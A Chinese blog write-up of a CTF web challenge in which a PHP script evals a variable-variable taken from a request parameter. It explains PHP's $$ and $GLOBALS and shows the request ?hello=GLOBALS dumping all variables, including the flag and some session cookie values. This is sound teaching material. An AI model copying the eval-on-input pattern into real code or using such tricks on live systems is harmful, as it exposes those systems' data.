

“百度杯” 2017 二月场 Misc Web 爆破-1

原创

白衣w 于 2019-04-15 15:52:58 发布 174 收藏

分类专栏: [CTF之Web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/wyj_1216/article/details/89313668

版权



[CTF之Web](#) 专栏收录该内容

34 篇文章 2 订阅

订阅专栏

题目

i春秋CTF题库

flag就在某六位变量中

```
54f5d82ba9d4493885cae0c6412 X +
54f5d82ba9d4493885cae0c6412558c12940b77061d047bd.changame.ichunqiu.com
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
    die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
```

https://blog.csdn.net/wyj_1216

writeup

知识点

\$\$

php中 \$ 是可以叠加使用的

```
$$a = ${${a}} = ${b} = "Hello world!"
```

例如:

```
$a = "b";
$b = "Hello world!";
echo $$a;
```

就可以打印出 b 的值 "Hello world!"

超全局变量

\$GLOBALS — 引用全局作用域中可用的全部变量

\$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量（从函数或方法中均可）。

题解

发送get请求: hello=GLOBALS

查看所有变量

```
?hello=GLOBALS
```



```
array(9) ( ["_GET"]=> array(1) ( ["hello"]=> string(7) "GLOBALS" ) ["_POST"]=> array(0) ( ) ["_COOKIE"]=> array(10) ( ["pgv_pvi"]=> string(10) "3822112768"
["Hm_lvt_2d0601bd28de7d49818249cf35d95943"]=> string(43) "1554455872,1554510696,1554986844,1555312705" ["Hm_lvt_9104989ce242a8e03049eaceca950328"]=> string(10) "1541290617"
["Hm_lvt_1a32f7c660491887db0960e9c314b022"]=> string(10) "1541290617" ["UM_distinctid"]=> string(58) "169ecc34ea59-0d7ac20dc34f86-4c312c7c-144000-169ecc34ea6356" ["chkphone"]=>
string(33) "acWxNpxhQpDiAchhNuSnEqyiQuDlOO000" ["ci_session"]=> string(40) "bcb8ca8b0752c0c4efd081b006940a2f81b4a0b5" ["pgv_si"]=> string(11) "s4504259584"
["Hm_lpv_2d0601bd28de7d49818249cf35d95943"]=> string(10) "1555312858" ["_jsluid"]=> string(32) "db6a7ed9cf5a551a9faafcba8dadca40" ["_FILES"]=> array(0) ( ) ["_REQUEST"]=> array(1) (
["hello"]=> string(7) "GLOBALS" ) ["flag"]=> string(38) "flag在一个长度为6的变量里面" ["d3f0f8"]=> string(42) "flag(cbe9c718-3e38-4ab9-bb40-9878ce88da12)" ["a"]=> string(7) "GLOBALS"
["GLOBALS"]=> *RECURSION* ) <?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/\w*$/, $a )){
    die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
```